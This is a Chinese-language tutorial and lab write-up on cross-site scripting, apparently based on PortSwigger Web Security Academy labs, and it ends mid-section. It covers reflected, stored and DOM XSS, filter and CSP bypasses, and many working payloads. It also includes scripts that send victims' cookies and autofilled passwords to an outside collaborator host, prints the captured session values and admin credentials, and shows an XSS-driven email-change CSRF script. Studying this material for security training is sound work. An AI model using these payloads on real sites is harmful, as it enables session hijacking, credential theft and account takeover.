XSS(Cross Site Scripting)跨站脚本攻击

一、什么是XSS

1. 基本知识

1.1 定义:

恶意攻击者往Web页面插入恶意类html代码(js等各种脚本),当用户浏览该页面时,插入的代码被执行,从而达到恶意用户的特殊目的。

1.2 触发条件

  • 绕过各种过滤和转码编译

对尖括号<> 单引号 ’ 双引号 “” 特殊js危险函数的过滤,绕过方式后续

  • 构造完整闭合的脚本标记语言

前后封闭,脚本完整,html能识别执行。

  • 引诱目标合理触发该页面的脚本

onclick onmouseover onload…后续。可结合使目标无意中访问恶意连接,触发脚本。详见后续

1.3 XSS种类

  • 反射型XSS:非持久型,参数型的跨站脚本。
  • 存储型XSS:将脚本代码写进数据库可以永久保存数据,危害最大。
  • dom型XSS:与反射性相似,但是DOM是树形结构,利用DOM标签。

1.4 如何插入恶意脚本

  • 直接写入完整脚本 (现已很少见)
<script>alert(1)</script>
  • 在HTML或正常脚本内部标签部分,需先闭合前面脚本,后面再插入恶意语句,如下:
</script><script>alert(1)</script>
><script>alert(1)</script>
'><script>alert(1)</script>

闭合前面脚本的方式,需要结合实际代码分析写出,此处需要长期积累。

  • 利用事件。如:onclick 鼠标点击触发、onload 页面加载完后触发、onerror 页面加载出错触发等。
  • 利用伪协议: 如:javascript:alert(1)

1.5 XSS绕过清单(小抄)

这个跨站点脚本(XSS)小抄包含许多可以帮助绕过WAF和过滤器的载体。可以通过事件、标签或浏览器来选择载体,并且每个载体都包含概念验证。

Cross-site scripting (XSS) cheat sheet
all_events.xlsx
all_tags.xlsx
cheat-sheet.pdf

1.6 XSS危害

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击

**XSS攻击的用处: **
冒充或伪装成受害用户。
执行用户能够执行的任何操作。
读取用户能够访问的任何数据。
捕获用户的登录凭据。
对网站进行信息污染。
将特洛伊木马功能注入网站。

1.7 reflected XSS 与 self-XSS的区别

Self-XSS与常规反射XSS具有类似的应用程序行为,但是它不能通过定制的URL或跨域请求以正常方式触发。相反只有:

  • 当受害者自己从其浏览器提交XSS有效负载时,才会触发该漏洞。
  • 发送Self-XSS攻击通常涉及对受害者进行社交工程,以将攻击者提供的一些输入粘贴到他们的浏览器中。
  • 因此,self-XSS通常被认为是一个蹩脚的、影响很小的问题。

二、反射型、存储型XSS、DOM型XSS

2.1 如何发现反射型XSS漏洞

  • 测试HTTP请求中每个入口点的数据
    • URL查询字符串
    • URL文件路径
    • 报文头部Header
    • body中的参数
  • 对每个入口点,提交一个随机唯一值进行验证
    • 唯一值长度为8位随机字母和数字为宜
    • 使用Burp Intrindex爆破并配置gerp捕获有效响应荷载进行验证
  • 根据相应唯一值的位置,判断XSS上下文
    • XSS位置在HTML标签之间
    • XSS位置在HTML标签的属性中
    • XSS位置在js代码中
    • XSS位置在js模板文字中
  • 测试XSS候选有效负载(尝试各种绕过或编码技巧等)
    • 建议使用Burp Repeater,反复尝试,查看回复
  • 构造用于攻击的payload,在浏览器中测试攻击
    • 在Burp Repeater测试成功的payload,复制到浏览器中尝试攻击
    • 浏览器地址栏或Burp Intercept拦截修改。

2.2 存储型XSS

  1. 定义:

当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的HTTP响应中时,就会出现存储的跨站点脚本(也称为二阶或永久XSS)

  1. 源码分析(暂未考虑过滤或编码影响)
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
<p>This post was extremely helpful.</p>

发现响应直接将请求中comment的值,已HTML方式进行响应,如在comment的值中改为XSS的payload,则所有访问该页面看到此留言的用户,均会收到XSS攻击影响。

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E&name=Carlos+Montoya&email=carlos%40normal-user.net
<p><script>/* Bad stuff here... */</script></p>
  1. 常用场景

一般需要公网能访问到的攻击服务器,用户接受store XSS返回的信息。本文中使用Burp提供的Burp Collaborator Client
(1)使用偷取用户cookie
窃取Cookie是利用XSS的传统方式。大多数Web应用程序使用Cookie进行会话处理。您可以利用跨站点脚本漏洞将受害者的Cookie发送到您自己的域,然后手动将Cookie注入浏览器并模拟受害者。
使用限制如下

  • 受害者可能没有登录。没有有效的cookie
  • 许多应用程序使用HttpOnly标志向JavaScript隐藏它们的cookie。
  • 会话可能被锁定到其他因素,如用户的IP地址。
  • 会话可能会在您能够劫持它之前超时。

例题:

3.2 例 4

(2)捕获用户密码
许多用户都有自动填写密码的密码管理器。您可以通过创建密码输入、读取自动填充的密码并将其发送到您自己的域来利用这一点。这项技术避免了大多数与窃取Cookie相关的问题,甚至可以访问受害者重复使用相同密码的所有其他帐户
使用限制

  • 仅适用于具有执行密码自动填充的密码管理器的用户。

例题:

3.2 例5

** (3) 利用XSS执行CSRF攻击**
合法用户可以在网站上做的任何事情,攻击者也可以使用XSS来做。

  • 让受害者发送消息
  • 让受害者接受朋友请求
  • 向源代码存储库提交后门程序
  • 转移一些比特币

一些网站允许登录的用户更改他们的电子邮件地址,而无需重新输入密码。如果您发现了XSS漏洞,您可以让它触发此功能,将受害者的电子邮件地址更改为你控制的地址,然后触发密码重置以获得对该帐户的访问权限。

XSS与CSRF关系:
能达到同样的目标效果
当CSRF作为独立漏洞出现时,可以使用诸如反CSRF令牌之类的策略对其进行修补。但是,如果还存在XSS漏洞,这些策略不会提供任何保护。
例题:

3.2 例6

2.3 反射型和存储型XSS上下文

在测试反射和存储的XSS时,一项关键任务是识别XSS上下文

  • 在响应中显示攻击者可控制数据出现的位置。
  • Web应用程序对该输入数据执行的任何输入验证、过滤或其他处理。
  • 根据上述信息详细分析,选择一个或多个候选XSS有效荷载,并测试它们是否有效。

2.4 如何构造XSS上下文有效荷载

当应用程序在HTTP请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会发生

应用程序响应中反映的数据的位置决定了攻击它需要哪种类型的有效负载,并且可能还会影响漏洞的影响。

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
  • url中存在传参
  • 对传入数据为过滤,或可绕过
  • 构造完整xss脚本

1. XSS位置在HTML标签之间

需要引入新的HTML标签来触发js

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)> 
<body οnresize=print() οnlοad=this.style.width='100px'>
<xss id=a tabindex=1 onfocus=alert(2)>#a  //自定义标签
<svg><animatetransform onbegin=alert(1)>

例题

3.1 例1、2、3、4
3.2 例1

2. XSS位置在HTML标签的属性中

方法一:需要终止属性值、结束原标签。并引入一个新的标签。

"><script>alert(document.domain)</script>

方法二:更常见的情况是尖括号被阻止或编码,因此不能从出现它的标签中分离出来。可以考虑终止属性值,引入一个创建可编写脚本的上下文的新属性,如事件处理程序

" autofocus οnfοcus=alert(document.domain) x="

方法三:方法二的变种,部分属性如href,本身可以执行js代码,不用闭合终止该属性,可直接使用伪协议插入js荷载

<a href="javascript:alert(document.domain)">

例题

3.1 例5、6
3.2 例2

3. XSS位置在js代码中

当XSS注入位置是响应中的一些现有JavaScript时,可能会出现各种各样的情况,需要使用不同的技术才能成功利用漏洞。

方法一:闭合原HTML中

</script><img src=1 onerror=alert(document.domain)>
<script>
...
var input = 'controllable data here';
...
</script>
<script>
...
var input = '</script><img src=1 onerror=alert(document.domain)>';
...
</script>

原理解析:浏览器首先执行HTML解析以识别包括脚本块在内的页面元素,然后才执行JavaScript解析以理解和执行嵌入的脚本。上述有效负载使原始脚本中断,并带有未终止的字符串文字。但这并不能阻止后续脚本以正常方式被解析和执行。

方法二:闭合中断js的代码中的字符串,直接注入paylload(方法一中,<>等符号被转码,无法闭合

'-alert(documen.cookie)-'
';alert(document.cookie)//'
\';alert(document.domain)//  //程序自动转义添加反斜杠,尝试主动属于一个反斜杠,是否可以转义掉反斜杠
οnerrοr=alert;throw 1  //如圆括号()被限制使用,考虑使用此种方式。将alert()函数分配给全局异常处理程序,Throw语句将1传递给异常处理程序(在本例中为alert)。最终结果是以1作为参数调用alert()函数。

原理解析:在XSS上下文位于带引号的字符串文字内的情况下,通常可以中断字符串并直接执行JavaScript。必须按照XSS上下文修复脚本,因为那里的任何语法错误都将阻止整个脚本执行。

方法三: 尝试利用HTML-encoding编码特殊字符

&apos;-alert(document.domain)-&apos;

原理解析:当XSS注入点是带引号的标记属性(如事件处理程序)中的一些现有JavaScript时,可以利用HTML编码来绕过一些输入过滤器。当浏览器解析出响应中的HTML标记和属性时,它将在进一步处理标记属性值之前执行标记属性值的HTML解码。如果服务器端应用程序阻止或清理成功利用XSS所需的某些字符,您通常可以通过对这些字符进行HTML编码来绕过输入验证。
&apos;序列是一个表示撇号或单引号的HTML实体。由于浏览器在解释JavaScript之前对onClick属性的值进行了HTML解码,因此实体被解码为引号,成为字符串分隔符,因此攻击成功。
例题

3.1 例7、8、9、10
3.2 例3

4. XSS位置在js模板文字中

模板文字是允许嵌入的js表达式的字符串文字。嵌入的表达式,通常连接到周围的文本中。使用${…}语法标识。

不用考虑闭合等方式,直接将payload 放到${payload}中即可

document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;

例题:

3.1 例11

2.5 DOM型XSS

1、什么是DOM

文档对象模型(DOM)是Web浏览器对页面上的元素的分层表示。网站可以使用JavaScript来操作DOM的节点和对象,以及它们的属性。DOM操作本身并不是问题。

2、什么是DOM型XSS

当网站包含接受攻击者可控制的值(称为源:source)并将其传递到可执行代码的危险函数(称为接收器:sink)中时,就会出现基于DOM的漏洞。

3、源码解析SOURCESINK

// 变量search就是数据源(SOURCE)。该变量函数值未过滤,攻击者可直接控制输入payload。
var search = document.getElementById('search').value;  
var results = document.getElementById('results');
//函数innerHTML为接收器(SINK),该函数可执行代码
results.innerHTML = 'You searched for: ' + search;
// 综上通过变量search输入payload,在innerHTML函数处执行该payload。
// 这就是一个标准的DOM型XSS漏洞。source->sink
如果攻击者可以控制输入字段的值,他们就可以很容易地构造一个恶意值,从而导致他们自己的脚本执行:  `You searched for: <img src=1 onerror='/* Bad stuff here... */'>`

4、SOURCE->SINK之间污染数据的流动传递

许多基于DOM的漏洞可以追溯到客户端代码处理数据(攻击者可控制数据)方式的问题。
什么是SOURCE

源(SOURCE)是一种接受可能由攻击者控制的数据的JavaScript属性。源的一个例子是location.search属性,因为它从查询字符串中读取输入,这对攻击者来说相对容易控制。归根结底,**攻击者可以控制的任何属性都是潜在的来源。**这包括引用URL(由document.referrer字符串公开)、用户的Cookie(由document.cookie字符串公
开)和Web消息。

常见的潜在SOURCE
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

什么是SINK

接收器(SINK)一种潜在的危险的JavaScript函数或DOM对象,**如果将攻击者控制的数据传递给接收器,可能会导致不良影响。**例如,eval()函数是一个接收器,因为它处理作为JavaScript传递给它的参数。例如,document.body.innerHTML就是一种HTML接收器,因为它可能允许攻击者注入恶意的HTML并执行任意的JavaScript。

常见的潜在SINK
// 原始js方法
document.write()
document.writeln()
document.domain
document.location
document.cookie
document.evaluate() 
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
element.src
element.setAttribute() 
JSON.parse() 
RegExp() 
eaval()
WebSocket()
postMessage()
setRequestHeader()
FileReader.readAsText() 
ExecuteSql()
sessionStorage.setItem() 

// jQuery方法
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

5、常见场景

(1)结合反射和存储数据的DOM型XSS

一些基于DOM的漏洞通常包含在单个页面中。如果脚本从URL读取一些数据并将其写入危险的接收器,则该漏洞完全是客户端漏洞。
另一些来源并不局限于浏览器直接暴露的数据–它们也可以来自网站。例如,网站通常会在来自服务器的HTML响应中反映URL参数。这通常是XSS漏洞,但也可能是所谓的反射+DOM漏洞。

在反射的+DOM漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可以放在一个JavaScript字符串文字中,或者放在DOM中的一个数据项中,如表单域。然后,页面上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。
eval('var data = "reflected string"');

网站还可以**将数据存储在服务器上,并将其反映到其他地方。在存储+DOM漏洞中,**服务器从一个请求接收数据,将其存储,然后将数据包括在稍后的响应中。后一个响应中的脚本包含一个接收器,该接收器随后以不安全的方式处理数据。
例题

3,3 例4、5

(2) 控制Web消息源

将Web消息用作来源,如果页面以不安全的方式处理传入的Web消息,例如,没有在事件侦听器中正确验证传入消息的来源,则事件侦听器调用的属性和函数可能会成为接收器。
该漏洞的潜在影响取决于目标文档对传入消息的处理。

<script>
window.addEventListener('message', function(e) {
      
      
  eval(e.data);
});
</script>
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">

由于事件侦听器不验证消息的来源,并且postMessage()方法指定了Target Origin“*”,因此事件侦听器接受有效负载并将其传递到接收器中

例题

3.3例6、7、8

(3)jQuery location.hash DOM XSS 漏洞

** **一般情况下为URL后 “#” 及其后面一部分组成,如http://www.test.com/#/something
其中http://www.test.com为真实的路径,而#/something则为网页中的位置,称之为锚点
读取锚点:
**location.hash; //输出 #/something**
还可以设置新锚点
** location.hash = '#/test1' // **[http://www.test.com/#/](http://www.test.com/#/something)test1

由于网站将此选择器与Location.hash源一起用于动画或自动滚动到页面上的特定元素而导致漏洞。此行为通常是使用易受攻击的hashchange事件处理程序实现的。

$(window).on('hashchange', function() {
    
    
  var element = $(location.hash);
  element[0].scrollIntoView();
});

由于hash是用户可控制的输入(SOURCE),攻击者可以将XSS向量注入$()接收器(SINK)。较新版本的jQuery已修补了此特定漏洞,方法是防止您在输入以hash字符(#)开始时将HTML注入选择器。
漏洞利用:
要真正利用这个经典漏洞,您需要找到一种在没有用户交互的情况下触发hashchange事件的方法。要做到这一点,最简单的方法之一是通过IFRAME传递您的漏洞:

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 οnerrοr=alert(1)>'">

例题

3.3例 10

(4) AngularJS中的DOM XSS

AngularJS是一个流行的JavaScript库,它包含`ng-app属性`(也称为AngularJS指令)的HTML节点的内容。  

AngularJS将在双花括号内执行JavaScript,该双花括号可以直接出现在HTML或属性中。 利用此种特性,尝试DOM XSS攻击
例题

3.2例11

(5)其他DOM常见场景

例题

3.3例1、2、3、9

2.6 绕过CSP

1. 什么是CSP

CSP是一种浏览器安全机制,旨在缓解XSS和其他一些攻击。它的工作方式是限制页面可以加载的资源(如脚本和图像),并限制页面是否可以由其他页面构成框架。
要启用CSP,响应需要包括名为Content-Security-Policy的HTTP响应头以及包含该策略的值。策略本身由一个或多个用分号分隔的指令组成。

  • script-src 'self'

指令将仅允许从与页面本身相同的来源加载脚本

  • script-src https://scripts.normal-website.com

指令将仅允许从特定域加载脚本

2. CSP安全设置

CSP指令可以指定一个随机数(随机值),并且必须在加载脚本的标记中使用相同的值。如果值不匹配,则脚本将不会执行。要有效地作为控件,必须在每次加载页面时安全地生成随机数,并且攻击者不能猜到它。
CSP指令可以指定受信任脚本内容的哈希。如果实际脚本的哈希与指令中指定的值不匹配,则不会执行该脚本。如果脚本的内容发生变化,那么您当然需要更新指令中指定的散列值。

3、CSP绕过方式

(1) 许多CSP确实允许图像请求。例如,这意味着您经常可以使用img元素向外部服务器发出请求,以泄露CSRF令牌。
(2) 可尝试注入一个HTML元素,当单击该元素时,它将存储被注入的元素包围的所有内容并将其发送到外部服务器。
例题

3.3例 12、13

三、漏洞举例

3.1 反射型XSS漏洞

1. 简单的反射型XSS(没有任何过滤)(Reflected XSS into HTML context with nothing encoded)-HTML标签之间

首页有搜索功能,原始正常搜索代码如下。尝试在搜索框中直接输入XSS

<section class=blog-header>
    <h1>0 search results for 'USER INPUT'</h1>
    <hr>
</section>   

// 在USER INPUT 输入恶意语句(页面搜索框) <script>alert(1)</script>

<section class=blog-header>
    <h1>0 search results for '<script>alert(1)</script>'</h1>
    <hr>
</section>
// 程序没有过滤、完整显示恶意语句。 产生弹窗。

2. HTML大部分标签被过滤(Reflected XSS into HTML context with most tags and attributes blocked)-HTML标签之间

在搜索框中,尝试输入 发现返回提示"Tag is not allowed"证明有过滤。

  1. 尝试使用 (小抄),爆破看看有没有遗漏未过滤的标签,(发现标签 body可用) < 插 入 测 试 标 签 插入测试标签 >
  2. 如有,再测试未过滤事件。()<body%20 插 入 测 试 时 间 插入测试时间 =1>
  3. 使用未过滤标签+事件+恶意函数,构成完整payload。<body%20οnresize=alert(1)>




由于是resize,需要xss后,改变窗口大小。可自行验证,为了实现攻击,构造下列payload发给目标,让其点击即可实现攻击。

3. HTML自定义标签未被过滤(Reflected XSS into HTML context with all tags blocked except custom ones)-HTML标签之间

改题与上题思路一致,html标签均被过滤,仅有自定义标签未被过滤(custom tag)
构造XSS测试

<xss id=a tabindex=1 onfocus=alert(2)>#a 
// id和#后的值可随意变换 xss标签可随意定制

构造恶意连接

<script>
location='https://ac8a1f121fe0869ac0b53dbb00770006.web-security-academy.net/?search=<xss+id%3Dx+tabindex=1+onfocus%3Dalert(document.cookie)>#x';
</script>

该注入创建一个ID为x的定制标记,该标记包含一个触发警报函数的onFocus事件处理程序。URL末尾的散列在页面加载后立即集中在此元素上,从而导致调用警报有效负载。

4.svg标签未被过滤(Reflected XSS with some SVG markup allowed)-HTML标签之间

步骤同前,经过爆破发现如下可用标签

> title svg image animatetransform

遇到svg 考虑使用如下组合暴力破解,onbegin可用

> <svg><animatetransform%20$$=1>

得到可用payload

> <svg><animatetransform onbegin=alert(1)>

5. HTML属性存在xss,且尖括号被编码(Reflected XSS into attribute with angle brackets HTML-encoded)-标签的属性中

尝试搜索框,发现<>被编码为<>

<section class=search>
    <form action=/ method=GET>
        <input type=text placeholder='Search the blog...' name=search value="&lt;&gt;heason">
        <button type=submit class=button>Search</button>
    </form>
</section>

尝试方法二闭合value,引入新属性
" autofocus οnfοcus=alert(document.domain) x="

<section class=search>
    <form action=/ method=GET>
        <input type=text placeholder='Search the blog...' name=search value="" autofocus onfocus=alert(document.cookie)  x="">
        <button type=submit class=button>Search</button>
    </form>
</section>

完美闭合,alert成功!!!

6.规范链接中的反射xss(Reflected XSS in canonical link tag)-标签的属性中(快捷键属性)

类chrome浏览器支持快捷键属性accesskey,设置此快捷键激活你自己的xss

https://foo.net/?'accesskey='x'οnclick='alert(23)

注入后,在浏览器中使用快捷键产生alert

  • ALT+SHIFT+X
  • CTRL+ALT+X
  • Alt+X

7.将XSS映射为带有单引号和反斜杠转义的JavaScript字符串(Reflected XSS into a JavaScript string with single quote and backslash escaped)-在js代码中

在页面搜索框中发现js代码,考虑使用XSS插入在js代码中

<script>
    var searchTerms = 'hahaha';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

使用方法一:闭合原

<script>
    var searchTerms = '</script><script>alert(1)</script>';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

8. 将XSS映射到尖括号HTML编码的JavaScript字符串(Reflected XSS into a JavaScript string with angle brackets HTML encoded)-在js代码中

查看代码与例题7一样,尝试方法一注入,发现<>被编码,无法使用

<script>
    var searchTerms = '&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

使用方法二:中断字符串并直接执行JavaScript
‘-alert(1)-’
'-alert(2)// 均可

<script>
    var searchTerms = ''-alert(1)//'';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

9. 将XSS映射到带有尖括号和双引号的JavaScript字符串中,并转义了HTML编码和单引号(Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped)-在js代码中

与例题8完全相同,不在赘述,仅是程序自动在单引号前增加反斜杠转义符号

<script>
    var searchTerms = '\'-alert(1)//';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

尝试增加反斜杠 '-alert(1)//

<script>
    var searchTerms = '\\'-alert(1)//';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

10.在已阻止某些字符的JavaScript URL中反映了XSS(Reflected XSS in a JavaScript URL with some characters blocked)-在js代码中

此题暂略…

11.将XSS映射到带有尖括号、单引号、双引号、反斜杠和反划号的模板文字中Unicode转义并过滤(Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped)-在js模板文字中

首先测试注入点

<script>
    var message = `0 search results for 'heason'`; //注意此处``反引号,可执行代码
    document.getElementById('searchMessage').innerText = message;
</script>

测试过滤,uncode编码,特殊符号已过滤,不可用

<script>
    var message = `0 search results for '\u003c\u003e\u0027\u005c\u0022'`;
    document.getElementById('searchMessage').innerText = message;
</script>

至此考虑**${payload}模板文字xss注入**

<script>
    var message = `0 search results for '${ 
        alert(document.cookie)}'`;
    document.getElementById('searchMessage').innerText = message;
</script>

3.2 存储型XSS漏洞

1. 简单的存储型XSS(没有任何过滤)(Stored XSS into HTML context with nothing encoded)-HTML标签之间

页面文章有留言功能,原始正常留言代码如下:

<section class="comment">
    <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar">                            
     <a id="author" href="https://EXAMPLE.com">USER NAME</a> | 03 May 2022
    </p>
    <p>USER COMMENT INPUT</p>
    <p></p>
</section>

直接尝试留言部分输入完整恶意脚本。已留言形式存入后台数据,形成存储型XSS,查看此页面用户均被弹窗

 <section class="comment">
      <p>
      <img src="/resources/images/avatarDefault.svg" class="avatar">                           
       <a id="author" href="https://EXAMPLE.com">USER NAME</a> | 03 May 2022
      </p>
      <p><script>alert(1)</script></p>  //此处未过滤,直接插入攻击者的恶意代码,形成存储型XSS。
      <p></p>
  </section>

2.href存在XSS漏洞,双引号过滤(Stored XSS into anchor href attribute with double quotes HTML-encoded)-标签的属性中

在评论区留言测试,发现个人网站出会新增href标签,并将用户输入作为href属性值。

<section class="comment">
    <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar">                            
     <a id="author" href="https://EXAMPLE.com">heason</a> | 04 May 2022 //用户输入的个人网址
    </p>
    <p>comment1</p>
    <p></p>
</section>

href可结合伪协议,直接执行JS
" οnclick=alert(11) x=" (题目名称双引号被过滤,实际测试未过滤,导致该xss也可以)
或者 javascript:alert(document.cookie) 均可行

 <section class="comment">
      <p>
      <img src="/resources/images/avatarDefault.svg" class="avatar">  
      <a id="author" href="javascript:alert(document.cookie)">heason</a> | 04 May 2022
      </p>
      <p>comment2</p>
      <p></p>
  </section>
  <section class="comment">
      <p>
      <img src="/resources/images/avatarDefault.svg" class="avatar"> 
      <a id="author" href="" onclick=alert(11) x="">heason3</a> | 04 May 2022
      </p>
      <p>comment3</p>
      <p></p>
  </section>

3. 将XSS存储到onClick事件中,并使用尖括号和双引号进行HTML编码,单引号和反斜杠进行转义(Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped)-在js代码中

依据题目描述,测试 '<>" 是如何被处理的

 <p>
  <img src="/resources/images/avatarDefault.svg" class="avatar">                           
  <a id="author" href="https://foo?\\\'&lt;&gt;&quot;" onclick="var tracker={ 
        track(){ 
        }};tracker.track('https://foo?\\\'&lt;&gt;&quot;');">heason1</a> | 05 May 2022
 </p>
// '\被反斜杠注释掉
// <>"被HTML-encode编码

遇到的问题是,使用事件onclick注入xss,需要按照方法二的思路:闭合中断js的代码中的字符串,直接注入paylload,但’被转义无法闭合。此处考虑使用方法三绕过过滤,使用’ 的html-encode编码’,通过过滤输入,尝试程序输出js时,再次解析’ 的html-encode编码时,进行decode,回复成’

<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">                           
<a id="author" href="https://foo.com?&apos;-alert(1)-&apos;" onclick="var tracker={ 
        track(){ 
        }};tracker.track('https://foo.com?&apos;-alert(1)-&apos;');">heason3</a> | 05 May 2022
</p>
<p>

4. 偷取用户cookie(Exploiting cross-site scripting to steal cookies)

靶场评论区代码分析,发现评论内容包含在

your comment

,如没有过滤等限制,考虑直接注入XSS payload
 <section class="comment">
      <p>
      <img src="/resources/images/avatarDefault.svg" class="avatar">                            Russell Up | 27 April 2022
      </p>
      <p>I can't believe some of the ignorant comments people make.</p> 
      <p></p>
  </section>
<section class="comment">
  <p>
  <img src="/resources/images/avatarDefault.svg" class="avatar">                            <a id="author" href="https://EXAMPLE.com">heason1</a> | 05 May 2022
  </p>
  <p><script>
location="https://www.baidu.com";
</script></p>
  <p></p>
</section>

未限制,未过滤成功将xss响应,页面跳转到百度。标准的store xss漏洞
开始构造Payload构造,窃取访问该页面的用户cookie,并将窃取的信息发送到远程攻击服务器上(Burp Collaborator Client)

<script>
fetch('https://jqdo9ri31ivjymwl1b8l9r73juplda.burpcollaborator.net',{
      
      
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>

查看页面响应报文,无问题,成功将payload 插入到页面中,用户访问该页面,就会向我的攻击机发送齐cookie(4个限制因素未涉及)

<section class="comment">
    <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar">                            <a id="author" href="https://EXAMPLE.com">heason</a> | 05 May 2022
    </p>
    <p><script>
fetch('https://jqdo9ri31ivjymwl1b8l9r73juplda.burpcollaborator.net',{
      
      
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script></p>
    <p></p>
</section>

查看攻击机获取到登录用户信息
secret=5Ba3bh6NihwWLZDa0UT23SQhxeGnHwIG; session=F6y5DGhFiWR7zp0gwAVkpvk5ab42xtIY
刷新页面,使用Burp拦截数据包,将cookie替换为上述信息。成功登陆其用户

5. 窃取用户名和密码(Exploiting cross-site scripting to capture passwords

与上述思路完全一致,仅是构造payload不同

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://ki6p1sa4tjnkqnomtc0m1sz4bvhn5c.burpcollaborator.net',{ 
        
method: 'POST',
mode: 'no-cors',
body: username.value+':'+this.value
})">;

<section class="comment">
    <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar">                            heason666 | 05 May 2022
    </p>
    <p><input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://ki6p1sa4tjnkqnomtc0m1sz4bvhn5c.burpcollaborator.net',{ 
        
method: 'POST',
mode: 'no-cors',
body: username.value+':'+this.value
})">;</p>
    <p></p>
</section>

获取用户信息
administrator:e1ek9bgyyudcdc8jfqq0
登陆还有什么好说的

6. 利用XSS执行CSRF攻击(Exploiting XSS to perform CSRF

自己注册账户登陆发现,无需修改地址可以修改邮箱地址。
账户地址:GET /my-account
修改邮箱请求:POST //my-account/change-email
但是有防csrf码保护,传统CSRF无法使用

发现comment模块与上述题目一致,存在存储型XSS漏洞。编制payload

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse(){
      
      
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&[email protected]');
};
</script>

3.3 DOM型XSS漏洞

1. 简单的dom型XSS(sink:document.write source:location.search)(Stored XSS into HTML context with nothing encoded

页面有搜索框,尝试随意搜索,发现代码如下

// sink:document.write    
// source:location.search
<script>
    function trackSearch(query) {
      
      
        document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
    } // 该函数直接显示query,可执行js代码,危险sink
    var query = (new URLSearchParams(window.location.search)).get('search');// search 直接获取用户输入,危险source
    if(query) {
      
      
        trackSearch(query);
    }
</script>

直接在搜索框中构造恶意代码,发现无效,原因分析如下:

  • query 可以直接获取恶意完整语句 例如<script>alert(1)</script>
  • 但是函数write,获取query合成如下语句:
<img src="/resources/images/tracker.gif?searchTerms='+<script>alert(1)</script>+'">
  • 发现合成后明显错误,不是完整无错的脚本。考虑要闭合前面<img src="... 再在后面构造完成语句。这样构造如下:"> <svg onload=alert(1)> 合成如下语句:
<img src="..."> <svg onload=alert(1)>   //成功弹窗
"><svg onload=alert(1)>  或 "><img src=1 onerror=alert(1)>

2.简单的dom型XSS(sink:innerHTML source:location.search)(DOM XSS in innerHTML sink using source location.search

原理与上一题完全相同,仅是sink不同而已
源代码:

<script>
    function doSearchQuery(query) {
      
      
        document.getElementById('searchMessage').innerHTML = query;//可执行js的危险sink
    }
    var query = (new URLSearchParams(window.location.search)).get('search');//直接获取用户输入,未加过滤。危险source
    if(query) {
      
      
        doSearchQuery(query);
    }
</script>

构造恶意输入,看了源代码,都不用考虑闭合问题。
<svg onload=alert(1)> 或者 <img src=1 onerror=alert(1)>均可。

3.DOM型 jQuery 属性href xss(sink:href source:location.search)(DOM XSS in jQuery anchor href attribute sink using location.search source

页面有反馈按钮,点击后查看源码发现

<script>
    $(function() {
      
      
        $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
    }); // 此页面URL为 https://...../feedback?returnPath=/
  // href是直接获取了URL returnPath的传参,未过滤,危险source
  //
</script>
  • $()明显是jQuery风格的函数。可判断使用的js框架
  • href是直接获取了URL returnPath的传参,未过滤,明显为危险source,该function也是危险sink
  • 看到url后,可以尝试直接修改returnPath参数,但是要考虑url如何执行js代码。这类问题可以考虑为协议

伪协议:javascript:js代码

